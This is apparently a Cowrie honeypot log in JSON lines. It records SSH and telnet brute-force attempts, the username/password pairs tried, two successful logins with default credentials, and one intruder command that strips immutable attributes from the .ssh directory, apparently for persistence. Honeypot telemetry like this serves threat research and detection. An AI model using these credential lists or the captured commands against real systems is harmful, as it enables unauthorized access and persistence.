{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:27:17.821467Z","src_ip":"96.70.252.227","session":"f453c62d5591","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":57770,"dst_ip":"159.203.135.109","dst_port":22,"session":"939d513942d0","protocol":"ssh","message":"New connection: 40.81.244.142:57770 (159.203.135.109:22) [session: 939d513942d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:27:30.852512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:27:30.860353Z","src_ip":"40.81.244.142","session":"939d513942d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:27:31.054140Z","src_ip":"40.81.244.142","session":"939d513942d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"hadoop123","message":"login attempt [ubuntu/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:27:31.816231Z","src_ip":"40.81.244.142","session":"939d513942d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:27:33.001341Z","src_ip":"40.81.244.142","session":"939d513942d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":45936,"dst_ip":"159.203.135.109","dst_port":22,"session":"133afd57807f","protocol":"ssh","message":"New connection: 58.69.56.44:45936 (159.203.135.109:22) [session: 133afd57807f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:28:01.736739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:28:01.741942Z","src_ip":"58.69.56.44","session":"133afd57807f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:28:01.974482Z","src_ip":"58.69.56.44","session":"133afd57807f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11111111","message":"login attempt [user/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:28:02.965824Z","src_ip":"58.69.56.44","session":"133afd57807f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:28:04.208458Z","src_ip":"58.69.56.44","session":"133afd57807f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":12256,"dst_ip":"159.203.135.109","dst_port":22,"session":"988e193ad27f","protocol":"ssh","message":"New connection: 222.167.161.198:12256 (159.203.135.109:22) [session: 988e193ad27f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:28:14.312017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:28:14.316810Z","src_ip":"222.167.161.198","session":"988e193ad27f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:28:14.592370Z","src_ip":"222.167.161.198","session":"988e193ad27f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"davidvlad10","message":"login attempt [ubuntu/davidvlad10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:28:15.770593Z","src_ip":"222.167.161.198","session":"988e193ad27f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:28:17.050567Z","src_ip":"222.167.161.198","session":"988e193ad27f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.90.210.189","src_port":23064,"dst_ip":"10.17.0.5","dst_port":23,"session":"04641b6a1725","protocol":"telnet","message":"New connection: 189.90.210.189:23064 (10.17.0.5:23) [session: 04641b6a1725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:28:21.126113Z"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":56326,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc8169aed648","protocol":"ssh","message":"New connection: 40.81.244.142:56326 (159.203.135.109:22) [session: fc8169aed648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:28:31.956067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:28:31.964989Z","src_ip":"40.81.244.142","session":"fc8169aed648","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:28:32.163780Z","src_ip":"40.81.244.142","session":"fc8169aed648","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"Admin1234","message":"login attempt [postgres/Admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:28:32.970358Z","src_ip":"40.81.244.142","session":"fc8169aed648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:28:34.167791Z","src_ip":"40.81.244.142","session":"fc8169aed648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.9272940158844,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:28:37.053296Z","src_ip":"189.90.210.189","session":"04641b6a1725","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":43094,"dst_ip":"10.17.0.5","dst_port":22,"session":"53d9410161ba","protocol":"ssh","message":"New connection: 87.251.64.176:43094 (10.17.0.5:22) [session: 53d9410161ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:28:41.416680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:28:41.424459Z","src_ip":"87.251.64.176","session":"53d9410161ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:28:41.520576Z","src_ip":"87.251.64.176","session":"53d9410161ba","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:28:41.809146Z","src_ip":"87.251.64.176","session":"53d9410161ba","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:28:41.908029Z","session":"53d9410161ba","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:28:42.005993Z","src_ip":"87.251.64.176","session":"53d9410161ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:28:42.105506Z","src_ip":"87.251.64.176","session":"53d9410161ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.69.56.44","src_port":34886,"dst_ip":"159.203.135.109","dst_port":22,"session":"9585fd3d1924","protocol":"ssh","message":"New connection: 58.69.56.44:34886 (159.203.135.109:22) [session: 9585fd3d1924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:28:57.999687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:28:58.004796Z","src_ip":"58.69.56.44","session":"9585fd3d1924","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:28:58.247647Z","src_ip":"58.69.56.44","session":"9585fd3d1924","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456@","message":"login attempt [ubuntu/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:28:59.231627Z","src_ip":"58.69.56.44","session":"9585fd3d1924","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:00.469758Z","src_ip":"58.69.56.44","session":"9585fd3d1924","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":41808,"dst_ip":"159.203.135.109","dst_port":22,"session":"d24e36dd8ec3","protocol":"ssh","message":"New connection: 222.167.161.198:41808 (159.203.135.109:22) [session: d24e36dd8ec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:22.284860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:22.289773Z","src_ip":"222.167.161.198","session":"d24e36dd8ec3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:22.563742Z","src_ip":"222.167.161.198","session":"d24e36dd8ec3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:23.685873Z","src_ip":"222.167.161.198","session":"d24e36dd8ec3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:24.282548Z","src_ip":"222.167.161.198","session":"d24e36dd8ec3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:24.286658Z","src_ip":"222.167.161.198","session":"d24e36dd8ec3","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:24.290854Z","src_ip":"222.167.161.198","session":"d24e36dd8ec3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:24.567681Z","src_ip":"222.167.161.198","session":"d24e36dd8ec3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:29:25.157037Z","src_ip":"222.167.161.198","session":"d24e36dd8ec3","protocol":"ssh"}
